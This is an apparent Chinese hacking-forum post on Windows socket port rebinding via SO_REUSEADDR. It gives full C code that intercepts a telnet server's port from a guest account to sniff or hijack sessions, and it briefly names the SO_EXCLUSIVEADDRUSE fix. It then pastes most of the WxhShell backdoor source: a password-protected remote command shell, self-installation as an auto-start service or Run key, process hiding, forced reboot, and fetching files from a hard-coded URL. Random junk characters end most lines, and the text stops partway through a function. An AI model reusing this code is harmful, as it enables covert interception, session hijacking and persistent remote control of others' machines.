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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 5Y97?n+6  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4h~o>(Sq  
S2fBZ=V8  
  saddr.sin_family = AF_INET; "h}miVArS  
}%9A+w}o  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); F&lvofy23  
RI_3X5.KQ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); WY%'ps _]<  
'e>0*hF[  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ] T! >]  
}A`4ae=  
  这意味着什么?意味着可以进行如下的攻击: ZtfPB  
7.l[tKh  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 g k[8'  
LN?W~^gsR  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) TM|ycS'  
u>.qhtm[  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 w+~s}ta2^  
%A dE5HI-  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  xV4 #_1(  
dw!cDfT+  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _0<EbJ8Z  
/K9Tn  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 y  ZsC>  
5[Yzi> o[  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 PI#xRKt  
>8nRP%r[5,  
  #include d-=/@N!4e  
  #include l(@UpV-  
  #include G~I@'[ur  
  #include    L= fz:H  
  DWORD WINAPI ClientThread(LPVOID lpParam);   d[5?P?h')  
  int main() /JfRy%31  
  { )FkJ=P0  
  WORD wVersionRequested; :.IVf Zw  
  DWORD ret; VMUK|pC4 K  
  WSADATA wsaData; %_!YonRY|X  
  BOOL val; SAt{At  
  SOCKADDR_IN saddr; fKMbOqU_  
  SOCKADDR_IN scaddr; ?j{LE- (  
  int err; $)M8@d  
  SOCKET s; &JM|u ww?1  
  SOCKET sc; LuB-9[^<  
  int caddsize; /,z4tf  
  HANDLE mt; gD0 FRKn  
  DWORD tid;   '8v^.gZ  
  wVersionRequested = MAKEWORD( 2, 2 ); ~JsTHE$F  
  err = WSAStartup( wVersionRequested, &wsaData ); ([='LyH];z  
  if ( err != 0 ) { jd|? aK;(  
  printf("error!WSAStartup failed!\n"); 7Xi)[M?)#  
  return -1; 5uu Zt0V\  
  } ~1Q$FgLk  
  saddr.sin_family = AF_INET; 8M;VX3X  
   QcGyuS.B  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1;R1Fj&  
V6Y:l9  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); $UAmUQg)}_  
  saddr.sin_port = htons(23); CxC&+';  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) LoQm&3/  
  { #N?EPV$  
  printf("error!socket failed!\n"); 0Kxc$c  
  return -1; +^ n\?!  
  } hTZaI*  
  val = TRUE; jiMI&cl  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 & Me%ZM0  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *4;MO2g  
  { VQO6!ToKY  
  printf("error!setsockopt failed!\n"); i w<2|]>l  
  return -1; PK@hf[YHe  
  } s88lN=;  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; UW*[)yw]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 /ov&h;  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 AXhV#nZt0  
:4PK4D s7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) hmv"|1Sa!~  
  { Iq`:h&'!L  
  ret=GetLastError(); 1CFTQB>  
  printf("error!bind failed!\n"); o/bmS57  
  return -1; ~{hcJ:bI  
  } _6v|k}tW'Y  
  listen(s,2); JJ5s |&}  
  while(1) !SAjV)  
  { <taN3  
  caddsize = sizeof(scaddr); j'#M'W3@  
  //接受连接请求 FOxMt;|M  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); sHx>UvN6  
  if(sc!=INVALID_SOCKET) pJ7M.C!  
  { ."<mL}Fi(  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); vkWh2z  
  if(mt==NULL) s)ymm7?  
  { u/3 4E=  
  printf("Thread Creat Failed!\n"); 3>Ts7 wM  
  break; 2?h c94  
  } mrR~[533j  
  } M[N$N`9  
  CloseHandle(mt); B:om61Dn  
  } `x2Q:&.H`  
  closesocket(s); Q%6 1_l  
  WSACleanup(); <\< [J0  
  return 0; C~IsYdln  
  }    -z9-f\  
  DWORD WINAPI ClientThread(LPVOID lpParam) 4hb<EH'_&  
  { X(nbfh?n  
  SOCKET ss = (SOCKET)lpParam; I;]Q}SUsm  
  SOCKET sc; j_\nsM7  
  unsigned char buf[4096]; Z<6XB{Nh\  
  SOCKADDR_IN saddr; ?z>7&  
  long num; E?1"&D m  
  DWORD val; kXGJZ$  
  DWORD ret; y%A!|aBu  
  //如果是隐藏端口应用的话,可以在此处加一些判断 1Uzsw  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   QZ!;` ?(  
  saddr.sin_family = AF_INET; !P X`sIkT  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); XLe8]y=  
  saddr.sin_port = htons(23); <u2rb6  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `wRQ-<Y  
  { ^a&-GhX;  
  printf("error!socket failed!\n"); #jAlmxN  
  return -1; #flOaRl.  
  } bkfwsYZx  
  val = 100; =~M%zdIXv  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I^>m-M.  
  { eYd6~T[9  
  ret = GetLastError(); i`-,=RJ  
  return -1; #p@8m_g  
  } by z2u  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) kk_$j_0  
  { W<<{}'Db/#  
  ret = GetLastError(); d7 )&Z:  
  return -1; tW4|\-E"s4  
  } PMER~}^  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Y0`@$d&n  
  { nA:\G":\y  
  printf("error!socket connect failed!\n"); GRV#f06  
  closesocket(sc); 0?hJ!IT;q7  
  closesocket(ss); "J|_1!9  
  return -1; q3a`Y)aVB  
  } FV>j !>Y  
  while(1) 4 [2^#t[  
  { R%)ZhG*  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 6[g~p< 8n}  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 XRi/O)98o  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 X2>qx^jT  
  num = recv(ss,buf,4096,0); DA'A-C2  
  if(num>0) \LX!n!@  
  send(sc,buf,num,0); ;Ml??B]C  
  else if(num==0) M{#  
  break; !Z +4FwF  
  num = recv(sc,buf,4096,0); {k.Dy92  
  if(num>0) >iefEv\  
  send(ss,buf,num,0); 1T(:bM_t`7  
  else if(num==0) 3QlV,)}  
  break; 6*3J3Lc_<  
  } Z|&Y1k-h  
  closesocket(ss); t[Dg)adc  
  closesocket(sc); }1<_  
  return 0 ; 2,.%]U  
  } FwU*]wx|{  
gY'w=(/`  
VO"f=gFg  
========================================================== {=]1]IWt  
ub^v ,S8O  
下边附上一个代码,,WXhSHELL \wW'Hk=  
(x7AV$N  
========================================================== Y@WCp  
? U~}uG^  
#include "stdafx.h" Ta;'f7Oz  
b"x[+&%i  
#include <stdio.h> nNe`?TS?f  
#include <string.h> B{IYVviiP  
#include <windows.h> 7gIK+1`  
#include <winsock2.h> jA ?tDAx`  
#include <winsvc.h> Fa]fSqy@;  
#include <urlmon.h> 2K/+6t}  
\@]/ks=K  
#pragma comment (lib, "Ws2_32.lib") 9$0-UUCk  
#pragma comment (lib, "urlmon.lib") c-S_{~~  
joaf0  
#define MAX_USER   100 // 最大客户端连接数 nv WTx4oy  
#define BUF_SOCK   200 // sock buffer yP:/F|E$  
#define KEY_BUFF   255 // 输入 buffer 9d ZE#l!Q  
slSQ\;CDA  
#define REBOOT     0   // 重启 AEx|<E0  
#define SHUTDOWN   1   // 关机 UPtWj8h  
Q8:`;W  
#define DEF_PORT   5000 // 监听端口 1S !<D)n  
hR;J#w  
#define REG_LEN     16   // 注册表键长度 @)0-oa,u+  
#define SVC_LEN     80   // NT服务名长度 q7id?F}3&  
"52nT  
// 从dll定义API mG,%f"b0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); oS'M  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); bJ8~/d]+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rx^vh%/ Q!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v@OyB7}  
lNV%R(  
// wxhshell配置信息 BaSNr6 YW  
struct WSCFG { .BLF7> M1  
  int ws_port;         // 监听端口 fneg[K  
  char ws_passstr[REG_LEN]; // 口令 Z  Mp  
  int ws_autoins;       // 安装标记, 1=yes 0=no ![H!Y W'  
  char ws_regname[REG_LEN]; // 注册表键名 {bF95Hs-  
  char ws_svcname[REG_LEN]; // 服务名 .;gK*`G2W)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;1Kxqp z_i  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 IT \Pj_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 oYWcX9R  
int ws_downexe;       // 下载执行标记, 1=yes 0=no IbRy~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %\=oy=f  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .HTX7mA3  
!ra CpL9;  
}; mPHn &4  
5u ED  
// default Wxhshell configuration ~<0!sE&y  
struct WSCFG wscfg={DEF_PORT, :P$I;YY=A  
    "xuhuanlingzhe", 5H_%inWM  
    1, 3HsjF5?W  
    "Wxhshell", ,6[}qw) *  
    "Wxhshell", -e_+x'uF  
            "WxhShell Service", 5[WhjTo  
    "Wrsky Windows CmdShell Service", {Kp<T  
    "Please Input Your Password: ", W68d"J%>_  
  1, A:"J&TbBx  
  "http://www.wrsky.com/wxhshell.exe", =2%EIZ0oW  
  "Wxhshell.exe" H!dUQ  
    }; MxiU-  
}K=T B}yY  
// 消息定义模块 &lYKi3}x  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ov{fO  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }vOUf# ^k  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _q([k_4h  
char *msg_ws_ext="\n\rExit."; cK.T=7T  
char *msg_ws_end="\n\rQuit."; md[FtcY\  
char *msg_ws_boot="\n\rReboot..."; W-Cf#o  
char *msg_ws_poff="\n\rShutdown..."; k fx<T  
char *msg_ws_down="\n\rSave to "; p9<OXeY   
LkFXUt?  
char *msg_ws_err="\n\rErr!"; g{8 R+  
char *msg_ws_ok="\n\rOK!"; XezO_V  
mY9u/; dK  
char ExeFile[MAX_PATH]; YWA:741  
int nUser = 0; @URLFMFi  
HANDLE handles[MAX_USER]; nbYkr*: "t  
int OsIsNt; H3 _7a9  
*VT@  
SERVICE_STATUS       serviceStatus; }I7/FqrD  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;??wLNdf-  
6l#1E#]|  
// 函数声明 fSp(}'m2L  
int Install(void); l79jd%/m  
int Uninstall(void); q>&F%;q1]  
int DownloadFile(char *sURL, SOCKET wsh); '3uj6Wq2  
int Boot(int flag); ~B%EvG7:n  
void HideProc(void); :>lica_  
int GetOsVer(void); R<mLG $  
int Wxhshell(SOCKET wsl); WfVkewuPo  
void TalkWithClient(void *cs); iL1.R+  
int CmdShell(SOCKET sock); MBCA%3z08  
int StartFromService(void); h Ia{s)  
int StartWxhshell(LPSTR lpCmdLine); =K2Dxu_:  
w <]7:/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); uK]@! gz  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6wzF6] @O  
zTY|Z@:  
// 数据结构和表定义 4'rWy~` V  
SERVICE_TABLE_ENTRY DispatchTable[] = x&R&\}@G m  
{ !D%*s,t\'  
{wscfg.ws_svcname, NTServiceMain}, 3m4?l ~  
{NULL, NULL} K@VXFV  
}; c1/G yq  
Sm#;fx+  
// 自我安装 ua:.97~Ym  
int Install(void) 9#%(%s 2 +  
{ ~%^af"_  
  char svExeFile[MAX_PATH]; *Rshzv[  
  HKEY key; *MkhRLw\,  
  strcpy(svExeFile,ExeFile); :EyH'v  
pooi8" G  
// 如果是win9x系统,修改注册表设为自启动 o]#Q6J  
if(!OsIsNt) { !mL,Ue3/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t; n6Q0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h`%K \C  
  RegCloseKey(key); c%)uG _  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '2]u{rr~+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i`r,B`V`08  
  RegCloseKey(key); mU_?}}aK,  
  return 0; M@Q=!!tQ(  
    } CzzG  
  } +nd'Uf   
} &+`l $h  
else { oO @6c%  
GT%V,OJ  
// 如果是NT以上系统,安装为系统服务 MvY0?!v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); oKt<s+r  
if (schSCManager!=0) X5wS6v)#(  
{ 6u7 (}K  
  SC_HANDLE schService = CreateService /+RNPQO O  
  ( #2DH_P  
  schSCManager, z/fRd6|[  
  wscfg.ws_svcname, N(&FATZUW  
  wscfg.ws_svcdisp, Nl_!%k:  
  SERVICE_ALL_ACCESS, J+\F)k>r  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,@='.Qs4g  
  SERVICE_AUTO_START, ao{>.b  
  SERVICE_ERROR_NORMAL, vyV n5s  
  svExeFile, RYE::[O7  
  NULL, OJ UM Y<5  
  NULL, K@n.$g  
  NULL, D0i84I`Z%  
  NULL, bS/`G0!  
  NULL ENC_#- 1x  
  ); =(v!pEF  
  if (schService!=0) F.A<e #e?  
  { ^&&dO*0{  
  CloseServiceHandle(schService); g) v"nNS  
  CloseServiceHandle(schSCManager); O%o#CBf0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); NG'VlT  
  strcat(svExeFile,wscfg.ws_svcname); N/{A ' Wd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { * {4cc  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *BXtE8 BU  
  RegCloseKey(key); xOT'4v&.  
  return 0; K- }k-S  
    } `r*6P^P  
  } q'(WIv@  
  CloseServiceHandle(schSCManager); !+ uMH!  
} -(cm  
} #]lUJ &M}e  
8.pz?{**T  
return 1; Wlg(z%  
} <Dm6CH  
+{hxEDz  
// 自我卸载 sxThz7#i)  
int Uninstall(void) |~ \K:[T&  
{ +crAkb}i  
  HKEY key; `zzX2R Je  
mApn(&  
if(!OsIsNt) { x(]s#D!)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a+{g~/z;,Q  
  RegDeleteValue(key,wscfg.ws_regname); ,xD{A}}V  
  RegCloseKey(key); R8'yQ#FVy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {Y/| 7Cl0  
  RegDeleteValue(key,wscfg.ws_regname); )sV# b  
  RegCloseKey(key); TdKl`"Iy  
  return 0; <;=Y4$y[  
  } J+IW  
} \=N tbBL$[  
} S OK2{xCG  
else { 9Biw!%a  
>t D-kzN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ik$wS#1+L  
if (schSCManager!=0) N7oMtlvL[w  
{ J~_p2TZJ\3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G4x.''r&Sl  
  if (schService!=0) Z;>~<#!4  
  { J`RNik*>  
  if(DeleteService(schService)!=0) { 7Ck;LF}>0  
  CloseServiceHandle(schService); =\XAD+  
  CloseServiceHandle(schSCManager); U~H'c p  
  return 0; Ep?a>\  
  } ]#BXaBVMY  
  CloseServiceHandle(schService); ]Rj"/(X,  
  } Q|ik\  
  CloseServiceHandle(schSCManager); {Y0I A97,  
} QK?5)[ J  
} JG( <  
w4x8 Sre  
return 1; mKsj7  
} Ki=7nKs  
q#p)E=$  
// 从指定url下载文件 5z]dA~;*2  
int DownloadFile(char *sURL, SOCKET wsh) Nb];LCx  
{ %M`|0g}!  
  HRESULT hr; {?!hUi+  
char seps[]= "/"; u^]yz&9V  
char *token; p +T&9  
char *file; D~?kvyJ  
char myURL[MAX_PATH]; %I.{umU  
char myFILE[MAX_PATH]; -:~`g*3#  
`PW=_f={  
strcpy(myURL,sURL); 5t<]|-i!  
  token=strtok(myURL,seps); #>- rKv.A  
  while(token!=NULL) 6VE >$`m  
  { ##s !-.T  
    file=token; 6sZRR{'  
  token=strtok(NULL,seps); ~qqtFjlG^  
  } q~w;C([k_  
pbzbh&Y  
GetCurrentDirectory(MAX_PATH,myFILE); ^&6NB)6  
strcat(myFILE, "\\"); L3GJq{t  
strcat(myFILE, file); 'D/AL\1{p(  
  send(wsh,myFILE,strlen(myFILE),0); P9>C!0 -x  
send(wsh,"...",3,0); 6AwnmGL(;;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w-#0k.T  
  if(hr==S_OK) H9>&"=".  
return 0; >|'6J!Op  
else #KK(Z \;  
return 1; 4`UT_LcI  
; Q 6:#  
} =#^dG ''*"  
0sUc6_>e  
// 系统电源模块 <Z__Q  
int Boot(int flag) rL s6MY  
{ )F$Stg3e  
  HANDLE hToken; 41zeN++  
  TOKEN_PRIVILEGES tkp; ZbrE m  
j |i6/Pk9J  
  if(OsIsNt) { R/wSGP`W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s{,e^T  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ..T (9]h  
    tkp.PrivilegeCount = 1; |X.z|wKT6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; q#a21~S<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,9pi9\S  
if(flag==REBOOT) { v8@dvT<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @i68%6H`?  
  return 0; YiJu48J  
} Q&#:M>!|  
else { Yq Fzbm{\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d5=xOEv; :  
  return 0; 6wd]X-G++  
} - Q@d  
  } :$tW9*\KY  
  else { "n e'iJf_(  
if(flag==REBOOT) { G 6, 8Xwk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q kKABow  
  return 0; Sy'>JHx  
} d J!o/y6  
else { 6,)y{/ENC  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) C IDL{i8  
  return 0; 4eEs_R  
} &\H5*A.HkA  
} ]03ZrZ! PM  
V[mQ;:=  
return 1; etoE$2c  
} %PS-nF7v  
A;!FtD/  
// win9x进程隐藏模块 )2$_:Ek  
void HideProc(void) GVM#Xl}w9  
{ ^pjez+  
2o$8CR;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (lnQ!4LK  
  if ( hKernel != NULL ) gQEV;hCO  
  { Ueeay^zN  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); x-pMT3m\D#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |gVO Iq  
    FreeLibrary(hKernel); ?>y-5B[K/(  
  } K7.<,E"M.  
3DHm9n+/:  
return; xAjQW=  
} gAj)3T@  
` Z/ IW  
// 获取操作系统版本 9CNHjs+-}s  
int GetOsVer(void) K_5&_P1  
{ IebS~N E  
  OSVERSIONINFO winfo; l0&8vhw8k  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8joQPHkI\  
  GetVersionEx(&winfo); )ziQ=k6d6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) nB5[]x'  
  return 1; !{Y#<tG]  
  else 4BT`|(7  
  return 0; F^YIZ,=p!  
} %5G BMMn  
C6VoOT )\  
// 客户端句柄模块 *r`Yz}  
int Wxhshell(SOCKET wsl) 9^='&U9sr  
{ MuobMD}jqe  
  SOCKET wsh; 'oz = {;  
  struct sockaddr_in client; YfPo"uxx  
  DWORD myID;  IR LPUP  
E(tBN]W.  
  while(nUser<MAX_USER) +29\'w,  
{ {h"\JI!  
  int nSize=sizeof(client); @__;RVQ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Nd_@J&  
  if(wsh==INVALID_SOCKET) return 1; F[ EblJ  
ymZ/(:3_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); { +2cRr.  
if(handles[nUser]==0) tTGK25&  
  closesocket(wsh); Xa@wN/"F  
else (UF!Zb]{  
  nUser++; pQ 6#L  
  } f~FehN7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U!/nD~A  
b8.%?_?  
  return 0; FIjET1{  
} #mhD; .Wg  
Qs9U&*L  
// 关闭 socket 2?T:RB}  
void CloseIt(SOCKET wsh) X u):.0I  
{ dz|*n'd  
closesocket(wsh); pq3  A%|  
nUser--; i)L:VkN  
ExitThread(0); pRvs;klf  
} ;8i L,^.A  
?@?a}  
// 客户端请求句柄 io{H$  x(  
void TalkWithClient(void *cs) R2aK5~   
{ Sx)Il~ x  
m@.{zW7bO  
  SOCKET wsh=(SOCKET)cs; @$P!#z  
  char pwd[SVC_LEN]; $Je"z]cy-  
  char cmd[KEY_BUFF]; &H&P)Px*_  
char chr[1]; !>< %\K  
int i,j; o#P3lz  
{p|%hhTK%  
  while (nUser < MAX_USER) { /:` i%E  
pPqN[OJ  
if(wscfg.ws_passstr) { kqW<e[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6b70w @P!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); huJq#5?  
  //ZeroMemory(pwd,KEY_BUFF); lK,=`xe  
      i=0; +.]}f}Y  
  while(i<SVC_LEN) { G}#/`]o!K  
+MZO%4  
  // 设置超时 qW~ R-g]  
  fd_set FdRead; cIvYfgIo9  
  struct timeval TimeOut; e=l5j"gq  
  FD_ZERO(&FdRead); ~H|LWCU)K8  
  FD_SET(wsh,&FdRead); RLz`aBT  
  TimeOut.tv_sec=8; ZQ9oZHUm  
  TimeOut.tv_usec=0; _S2^;n?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h ^h-pd  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); GR ?u?-  
OawrS{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z 'NbHwW}  
  pwd=chr[0]; D}/=\J/  
  if(chr[0]==0xd || chr[0]==0xa) { Hu9R.[u  
  pwd=0; lF8 dRIav  
  break; "QO/Jls  
  } O*03PF^  
  i++; oPu|Q^I=  
    } @k+G Cf  
~}IvY?! ;  
  // 如果是非法用户,关闭 socket :"P hkR  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]KK ZbEO  
} G 0QXf  
DIqT>HHZ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); NhoS7 y(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fuD1U}c  
.Spi$>v  
while(1) { y8hg8J|  
.x!7  
  ZeroMemory(cmd,KEY_BUFF); gZ"{{#:}  
>3`ctbe  
      // 自动支持客户端 telnet标准   nqxq@.L2  
  j=0; BgWz<k}5M  
  while(j<KEY_BUFF) { e#6&uFce  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5Ue^>8-  
  cmd[j]=chr[0]; v^],loi<V  
  if(chr[0]==0xa || chr[0]==0xd) { <`xRqe:&9  
  cmd[j]=0; Cre0e$ a  
  break; mU+FQX  
  } oiv2rOFu  
  j++; 8<-oJs_o+  
    } 5d?!<(e6  
6l\UNG7  
  // 下载文件 `H2F0{\og  
  if(strstr(cmd,"http://")) { '^ e/F)0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @CaD8%j{  
  if(DownloadFile(cmd,wsh)) B~!G lT  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]tQDk4&i  
  else  6I cM:x  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V1`5D7Z  
  } # HM\ a  
  else { I4<{R  
/s8%02S  
    switch(cmd[0]) { L_~I ~  
  @x=BJuUuX  
  // 帮助 bmO__1  
  case '?': { K_&c5(-(_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A:.IBctsd  
    break; YoF\ MT]W  
  } <Sprp]n 7  
  // 安装 zK>'tFU  
  case 'i': { :%uyy5AZ  
    if(Install()) fa4951_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); => uVp  
    else ~t${=o430  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?|">),  
    break; }+dM1O  
    } O& 3r*vd  
  // 卸载 A)RI:?+  
  case 'r': { X&9^&U=e  
    if(Uninstall()) b>bgUDq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uq|vNLW26  
    else W. J:.|kt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %89" A'g  
    break; P )t]bS  
    } $&=4.7Yt  
  // 显示 wxhshell 所在路径 8sR  
  case 'p': { UU.mdSL  
    char svExeFile[MAX_PATH]; qP;{3FSkAF  
    strcpy(svExeFile,"\n\r"); ~Q_)>|R2  
      strcat(svExeFile,ExeFile); 5DkK'tCI9Z  
        send(wsh,svExeFile,strlen(svExeFile),0); )4!CR/ao  
    break; 0H OoKh  
    } lTV@b&  
  // 重启 o5=)~D{/G3  
  case 'b': { NoJnchiU  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &h7smZO5j  
    if(Boot(REBOOT)) ^ J#?hHz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;/?Z<[B  
    else { >}<29Ii  
    closesocket(wsh); |t&G&)~:  
    ExitThread(0); b:FEp'ZS  
    } ot@|blVC8  
    break; 3@PUg(M  
    } B?$01?9V  
  // 关机 yD3bl%uZ  
  case 'd': { ,30FGz^i  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #.E\,N'  
